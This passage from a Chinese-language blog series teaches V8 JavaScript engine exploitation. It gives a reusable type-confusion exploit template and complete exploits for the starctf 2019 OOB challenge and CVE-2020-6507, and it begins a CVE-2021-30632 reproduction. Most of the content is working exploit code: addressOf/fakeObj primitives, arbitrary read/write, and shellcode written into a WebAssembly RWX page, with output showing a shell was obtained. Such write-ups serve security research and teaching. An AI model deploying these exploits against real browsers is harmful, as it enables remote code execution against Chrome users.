    0x491c408b44480c8bn,
    0x14888048b41d001n,
    0x5a595e58415841d0n,
    0x83485a4159415841n,
    0x4158e0ff524120ecn,
    0xff57e9128b485a59n,
    0x1ba485dffffn,
    0x8d8d480000000000n,
    0x8b31ba4100000101n,
    0xa2b5f0bbd5ff876fn,
    0xff9dbd95a6ba4156n,
    0x7c063c28c48348d5n,
    0x47bb0575e0fb800an,
    0x894159006a6f7213n,
    0x2e636c6163d5ffdan,
    0x657865n,
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

其他

在上面的示例代码中,出现了几个没说明的函数,以下是这几个函数的代码:

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}

function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}

function d2u(v) {
  f64[0] = v;
  return u32;
}

因为在上述思路中,都是使用浮点型数组,其值为浮点型,但是浮点型的值我们看着不顺眼,设置值我们也是习惯使用十六进制值。所以需要有ftoiitof来进行浮点型和64bit的整数互相转换。

但是因为在新版的v8中,有压缩高32bit地址的特性,所以还需要u2dd2u两个,把浮点型和32bit整数进行互相转换的函数。

最后还有一个hex函数,就是方便我们查看值:

function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

总结

目前在我看来,不说所有v8的漏洞,但是所有类型混淆类的漏洞都能使用同一套模板:

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
  f64[0] = v;
  return u32;
}
function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}
function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
    ?
}

function addressOf(obj_to_leak)
{
    ?
}

function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;

var fake_array = [
  array_map,
  itof(0x4141414141414141n)
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

其中打问号的地方,需要根据具体情况来编写,然后就是有些偏移需要根据v8版本情况进行修改,但是主体结构基本雷同。

之后的文章中,打算把我最近研究复现的几个漏洞,套进这个模板中,来进行讲解。

 

starctf 2019 OOB(三)


我是从starctf 2019的一道叫OOB的题目开始入门的,首先来讲讲这道题。

FreeBuf上有一篇从一道CTF题零基础学V8漏洞利用,我觉得对初学者挺友好的,我就是根据这篇文章开始入门v8的漏洞利用。

环境搭建

$ git clone https://github.com/sixstars/starctf2019.git
$ cd v8
$ git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
$ git apply ../starctf2019/pwn-OOB/oob.diff
$ gclient sync -D
$ gn gen out/x64_startctf.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
$ ninja -C out/x64_startctf.release d8

或者可以在我之前分享的build.sh中,在git reset命令后加一句git apply ../starctf2019/pwn-OOB/oob.diff,就能使用build.sh 6dc88c191f5ecc5389dc26efa3ca0907faef3598 starctf2019一键编译。

漏洞点

源码我就不分析了,因为这题是人为造洞,在obb.diff中,给变量添加了一个oob函数,这个函数可以越界读写64bit。来测试一下:

$ cat test.js
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
  return bigUint64[0];
}

function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

var a = [2.1];
var x = a.oob();
console.log("x is 0x"+hex(ftoi(x)));
%DebugPrint(a);
%SystemBreak();
a.oob(2.1);
%SystemBreak();

使用gdb进行调试,得到输出:

x is 0x16c2a4382ed9
0x242d7b60e041 <JSArray[1]>

可能是因为v8的版本太低了,在这个版本的时候DebugPrint命令只会输出变量的地址,不会输出其结构,我们可以使用job来查看其结构:

pwndbg> job 0x242d7b60e041
0x242d7b60e041: [JSArray]
 - map: 0x16c2a4382ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x15ae01091111 <JSArray[0]>
 - elements: 0x242d7b60e029 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x061441340c71 <FixedArray[0]> {
    #length: 0x1b8f8e3c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x242d7b60e029 <FixedDoubleArray[1]> {
           0: 2.1
 }
pwndbg> x/8gx 0x242d7b60e029-1
0x242d7b60e028:    0x00000614413414f9 0x0000000100000000
0x242d7b60e038:    0x4000cccccccccccd 0x000016c2a4382ed9
0x242d7b60e048:    0x0000061441340c71 0x0000242d7b60e029
0x242d7b60e058:    0x0000000100000000 0x0000061441340561

我们能发现,x的值为变量a的map地址。浮点型数组的结构之前的文章说了,在value之后就是该变量的结构内存区域,所以使用a.oob()可以越界读64bit,就可以读写该变量的map地址,并且在该版本中,地址并没有被压缩,是64bit。

我们继续运行代码:

pwndbg> x/8gx 0x242d7b60e029-1
0x242d7b60e028:    0x00000614413414f9 0x0000000100000000
0x242d7b60e038:    0x4000cccccccccccd 0x4000cccccccccccd
0x242d7b60e048:    0x0000061441340c71 0x0000242d7b60e029
0x242d7b60e058:    0x0000000100000000 0x0000061441340561

发现通过a.oob(2.1);可以越界写64bit,已经把变量a的map地址改为了2.1

套模版写exp

想想我上篇文章说的模板,我们来套模板写exp。

编写addressOf函数

首先我们来写addressOf函数,该函数的功能是,通过把obj数组的map地址改为浮点型数组的map地址,来泄漏任意变量的地址。

所以我们可以这么写:

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

编写fakeObj函数

接下来编写一下fakeObj函数,该函数的功能是把浮点型数组的map地址改为对象数组的map地址,可以伪造出一个对象来,所以我们可以这么写:

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array.oob(obj_map);  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    double_array.oob(array_map); // 改回来,以便后续需要的时候使用
    return faked_obj;
}

完整的exp

好了,把模板中空缺的部分都补充完了,但是还有一个问题。因为模板是按照新版的v8来写的,新版的v8对地址都进行了压缩,但是该题的v8缺没有对地址进行压缩,所以还有一些地方需要进行调整:

首先是读写函数,因为map地址占64bit,长度占64bit,所以elements的地址位于value-0x10,所以读写函数需要进行微调:

function read64(addr)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    fake_object[0] = itof(data);
}

copy_shellcode_to_rwx函数也要进行相关的调整:

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
  console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr, ftoi(rwx_addr));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

fake_array也需要进行修改:

var fake_array = [
    array_map,
    itof(0n),
    itof(0x41414141n),
    itof(0x100000000n),
];

计算fake_object_addr地址的偏移需要稍微改改:

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x30n;
var fake_object = fakeObj(fake_object_addr);

获取rwx_addr的过程需要稍微改一改偏移:

var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

偏移改完了,可以整合一下了,最后的exp如下:

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array.oob(obj_map);  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    double_array.oob(array_map); // 改回来,以便后续需要的时候使用
    return faked_obj;
}

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

function read64(addr)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr, ftoi(rwx_addr));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();

var fake_array = [
    array_map,
    itof(0n),
    itof(0x41414141n),
    itof(0x100000000n),
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x30n;
var fake_object = fakeObj(fake_object_addr);

var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

执行exp:

$ ./d8 exp.js
[*] leak fake_array addr: 0x8ff3db506f8
[*] leak wasm_instance addr: 0x33312a9e0fd0
[*] leak rwx_page_addr: 0xfc5ec3c6000
[*] buf_backing_store_addr: 0x8ff3db50c10
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

参考

  1. https://www.freebuf.com/vuls/203721.html

 

CVE-2020-6507(四)


复现CVE-2020-6507

信息收集

在复习漏洞前,我们首先需要有一个信息收集的阶段:

  1. 可以从Chrome的官方更新公告得知某个版本的Chrome存在哪些漏洞。
  2. 从官方更新公告上可以得到漏洞的bug号,从而在官方的issue列表获取该bug相关信息,太新的可能会处于未公开状态。
  3. 可以在Google搜索Chrome 版本号 "dl.google.com",比如chrome 90.0.4430.93 "dl.google.com",可以搜到一些网站有Chrome更新的新闻,在这些新闻中能获取该版本Chrome官方离线安装包。下载Chrome一定要从dl.google.com网站上下载。

我第二个研究的是CVE-2020-6507,可以从官方公告得知其chrome的bug编号为:1086890

可以很容易找到其相关信息:

受影响的Chrome最高版本为:83.0.4103.97
受影响的V8最高版本为:8.3.110.9

相关PoC:

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];

搭建环境

一键编译相关环境:

$ ./build.sh 8.3.110.9

套模版

暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。

研究PoC

运行一下PoC:

$ cat poc.js
......
corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
# 最后一行删了,alert改成console.log
$ ./d8 poc.js
corrupted array length: 12121212

可以发现,改PoC的作用是把corrupted_array数组的长度改为0x24242424/2 = 0x12121212,那么后续如果我们的obj_arraydouble_array在这个长度的内存区域内,那么就可以写addressOffakeObj函数了。

来进行一波测试:

$ cat test.js
......
corrupted_array = trigger(giant_array)[1];
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];

%DebugPrint(corrupted_array);
%SystemBreak();
DebugPrint: 0x9ce0878c139: [JSArray]
 - map: 0x09ce08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x09ce082091e1 <JSArray[0]>

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
......
pwndbg> x/32gx 0x9ce0878c139-1
0x9ce0878c138:    0x080406e908241891 0x2424242400000000
0x9ce0878c148:    0x00000004080404b1 0x0878c1390878c119
0x9ce0878c158:    0x080406e9082418e1 0x000000040878c149

调试的时候,发现程序crash了,不过我们仍然可以查看内存,发现该版本的v8,已经对地址进行了压缩,我们虽然把length位改成了0x24242424,但是我们却也把elements位改成了0x00000000。在这个步骤的时候,我们没有泄漏过任何地址,有没有其他没办法构造一个elements呢。

最后发现堆地址是从低32bit地址为0x00000000开始的,后续变量可能会根据环境的问题有所变动,那么前面的值是不是低32bit地址不会变呢?

改了改测试代码,如下所示:

$ cat test.js
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

array = Array(0x40000).fill(1.1);
......
corrupted_array = trigger(giant_array)[1];
%DebugPrint(double_array);
var a = corrupted_array[0];
console.log("a = 0x" + ftoi(a).toString(16));

结果为:

$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x288c089017d5: [JSArray] in OldSpace
 - map: 0x288c08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x288c082091e1 <JSArray[0]>
 - elements: 0x288c089046ed <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x288c080406e9 <FixedArray[0]> {
    #length: 0x288c08180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x288c089046ed <FixedDoubleArray[1]> {
           0: 1.1
 }
0x288c08241891: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x288c08241869 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x288c08180451 <Cell value= 1>
 - instance descriptors #1: 0x288c08209869 <DescriptorArray[1]>
 - transitions #1: 0x288c082098b5 <TransitionArray[4]>Transition array #1:
     0x288c08042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288c082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x288c082091e1 <JSArray[0]>
 - constructor: 0x288c082090b5 <JSFunction Array (sfi = 0x288c08188e45)>
 - dependent code: 0x288c080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

a = 0x80406e908241891

成功泄漏出double_array变量的map地址,再改改测试代码:

$ cat test.js
......
length_as_double =
    new Float64Array(new BigUint64Array([0x2424242408901c75n]).buffer)[0];
......
%DebugPrint(double_array);
%DebugPrint(obj_array);
var array_map = corrupted_array[0];
var obj_map = corrupted_array[4];
console.log("array_map = 0x" + ftoi(array_map).toString(16));
console.log("obj_map = 0x" + ftoi(obj_map).toString(16));

再来看看结果:

$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x34f108901c7d: [JSArray] in OldSpace
 - map: 0x34f108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x34f1082091e1 <JSArray[0]>
 - elements: 0x34f108904b95 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x34f1080406e9 <FixedArray[0]> {
    #length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x34f108904b95 <FixedDoubleArray[1]> {
           0: 1.1
 }
......
DebugPrint: 0x34f108901c9d: [JSArray] in OldSpace
 - map: 0x34f1082418e1 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x34f1082091e1 <JSArray[0]>
 - elements: 0x34f108904b89 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x34f1080406e9 <FixedArray[0]> {
    #length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x34f108904b89 <FixedArray[1]> {
           0: 0x34f108901c8d <Object map = 0x34f108244e79>
 }
......
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1

成功泄漏了map地址,不过该方法的缺点是,只要修改了js代码,堆布局就会发生一些变化,就需要修改elements的值,所以需要先把所有代码写好,不准备变的时候,再来修改一下这个值。

不过也还有一些方法,比如堆喷,比如把elements值设置的稍微小一点,然后在根据map的低20bit为0x891,来搜索map地址,不过这些方法本文不再深入研究,有兴趣的可以自行进行测试。

编写addressOf函数

现在我们能来编写addressOf函数了:

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    corrupted_array[4] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    corrupted_array[4] = obj_map; // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

编写fakeObj函数

接下来就是编写fakeObj函数:

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    corrupted_array[0] = obj_map;  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    corrupted_array[0] = array_map; // 改回来,以便后续需要的时候使用
    return faked_obj;
}

修改偏移

改版本中,需要修改的偏移有:

$ cat exp1.js
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
......
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n;
......
}
......
fake_object_addr = fake_array_addr + 0x48n;
......

其他都模板中一样,最后运行exp1:

$ ./d8 --allow-natives-syntax exp1.js
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8040a3d5962db08
[*] leak wasm_instance addr: 0x8040a3d082116bc
[*] leak rwx_page_addr: 0x28fd83851000
[*] buf_backing_store_addr: 0x9c0027c000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

 

优化exp

前面内容通过套模板的方式,写出了exp1,但是却有些许不足,因为elements的值是根据我们本地环境测试出来的,即使在测试环境中,代码稍微变动,就需要修改,如果只是用来打CTF,我觉得这样就足够了。但是如果拿去实际的环境打,exp大概需要进行许多修改。

接下来,我将准备讲讲该漏洞原理,在理解其原理后,再来继续优化我们的exp。那为啥之前花这么长时间讲这个不太实用的exp?而不直接讲优化后的exp?因为我想表明,在只有PoC的情况下,也可以通过套模板,写出exp。

漏洞成因

漏洞成因这块我不打算花太多时间讲,因为我发现,V8更新的太快了,你花大量时间来分析这个版本的代码,分析这个漏洞的相关代码,但是换一个版本,会发现代码发生了改变,之前分析的已经过时了。所以我觉得起码在初学阶段,没必要深挖到最底层。

bugs.chromium.org上已经很清楚了解释了该漏洞了。

NewFixedArrayNewFixedDoubleArray没有对数组的大小进行判断,来看看NewFixedDoubleArray修复后的代码,多了一个判断:

macro NewFixedDoubleArray<Iterator: type>(
......
  if (length > kFixedDoubleArrayMaxLength) deferred {
      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
    }
......

再去搜一搜源码,发现kFixedDoubleArrayMaxLength = 671088612,说明一个浮点型的数组,最大长度为67108862

我们再来看看PoC:

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

我们来算算,array的长度为0x40000args的为0xffarray,然后args还push了一个长度为0x3fffc的数组。

通过Array.prototype.concat.apply函数,把args变量变成了长度为0x40000 * 0xff + 0x3fffc = 67108860的变量giant_array

接着再使用splice添加了3个值,该函数将会执行NewFixedDoubleArray函数,从而生成了一个长度为67108860+3=67108863的浮点型数组。

该长度已经超过了kFixedDoubleArrayMaxLength的值,那么改漏洞要怎么利用呢?

来看看trigger函数:

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);  // 触发JIT优化
}

该函数传入的为giant_array数组,其长度为67108863,所以x = 67108863,经过计算后,得到x = 7,然后执行corrupting_array[x] = length_as_double;corrupting_array原本以数组的形式储存浮点型,长度为2,但是给其index=7的位置赋值,将会把该变量的储存类型变为映射模式。

这么一看,好像并没有什么问题。但是V8有一个特性,会对执行的比较多的代码进行JIT优化,会删除一些冗余代码,加速代码的执行速度。

比如对trigger函数进行优化,V8会认为x的最大长度为67108862,那么x最后的计算结果最大值为1,那么x最后的值不是0就是1,corrupting_array的长度为2,不论对其0还是1赋值都是有效的。原本代码在执行corrupting_array[x]执行的时候,会根据x的值对corrupting_array边界进行检查,但是通过上述的分析,JIT认为这种边界检查是没有必要的,就把检查的代码给删除了。这样就直接对corrupting_array[x]进行赋值,而实际的x值为7,这就造成了越界读写,而index=7这个位置,正好是corrupted_array变量的elementslength位,所以PoC达到了之前分析的那种效果。

知道原理了,那么我们就能对该函数进行一波优化了,我最后的优化代码如下:

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];
function trigger(array) {
  var x = array.length;
  x -= 67108861; // 1 2
  x *= 10; // 10 20
  x -= 9; // 1 11
  let test1 = [0.1, 0.1];
  let test2 = [test1];
  let test3 = [0.1];
  test1[x] = length_as_double; // fake length
  return [test1, test2, test3];
}

x最后的值为11,修改到了test3的长度,但是并不会修改到elements的值,因为中间有个test2,导致产生了4字节的偏移,所以我们可以让我们只修改test3的长度而不影响到elements

根据上述思路,我们对PoC进行一波修改:

function trigger(array, oob) {
  var x = array.length;
  x -= 67108861; // 1 2
  x *= 10; // 10 20
  x -= 9; // 1 11
  oob[x] = length_as_double; // fake length
}

for (let i = 0; i < 30000; ++i) {
  vul = [1.1, 2.1];
  pad = [vul];
  double_array = [3.1];
  obj = {"a": 2.1};
  obj_array = [obj];
  trigger(giant_array, vul);
}
%DebugPrint(double_array);
%DebugPrint(obj_array);
//%SystemBreak();
var array_map = double_array[1];
var obj_map = double_array[8];
console.log("[*] array_map = 0x" + hex(ftoi(array_map)));
console.log("[*] obj_map = 0x" + hex(ftoi(obj_map)));

接下来只要在exp1的基础上对addressOffakeObj进行一波微调,就能形成我们的exp2了:

$ cat exp2.js
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    double_array[8] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    double_array[8] = obj_map; // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array[1] = obj_map;  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    return faked_obj;
}
$ ./d8  exp2.js
[*] array_map = 0x80406e908241891
[*] obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8241891591b0d88
[*] leak wasm_instance addr: 0x8241891082116f0
[*] leak rwx_page_addr: 0x3256ebaef000
[*] buf_backing_store_addr: 0x7d47f2d000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

参考

  1. https://chromereleases.googleblog.com/
  2. https://bugs.chromium.org/p/chromium/issues/list
  3. https://bugs.chromium.org/p/chromium/issues/detail?id=1086890

 

CVE-2021-30632(五)


复现CVE-2021-30632

第三个研究的是CVE-2021-30632,其chrome的bug编号为:1247763

不过其相关信息还未公开,但是我们仍然能得知:

受影响的Chrome最高版本为:93.0.4577.63
受影响的V8最高版本为:9.3.345.16

不过网上能搜到一篇分析文章Chrome in-the-wild bug analysis: CVE-2021-30632,不过文章中只有PoC,不包含EXP,PoC如下:

function foo(b) {
  x = b;
}

function oobRead() {
  return [x[20],x[24]];
}

function oobWrite(addr) {
  x[24] = addr;
}

//All have same map, SMI elements, MapA
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;

var x = arr0;

var arr = new Array(30); arr.fill(4); arr.a = 1;
...
//Optimzie foo
for (let i = 0; i < 19321; i++) {
  if (i == 19319) arr2[0] = 1.1;
  foo(arr1);
}
//x now has double elements, MapB
x[0] = 1.1;
//optimize oobRead
for (let i = 0; i < 20000; i++) {
  oobRead();
}
//optimize oobWrite
for (let i = 0; i < 20000; i++) oobWrite(1.1);
//Restore map back to MapA, with SMI elements
foo(arr);
var z = oobRead(); 
oobWrite(0x41414141);

搭建环境

一键编译相关环境:

$ ./build.sh 9.3.345.16

套模版

研究PoC

稍微修改一下PoC,然后运行:

$ cat poc.js
......
function oobRead() {
  return x[16];
}
......
var z = oobRead(); 
console.log(hex(ftoi(z)));
%DebugPrint(x);
%SystemBreak();
$ ./d8 poc.js
80023b500000002
DebugPrint: 0x34070804a1a1: [JSArray]
 - map: 0x340708207939 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3407081cc139 <JSArray[0]>
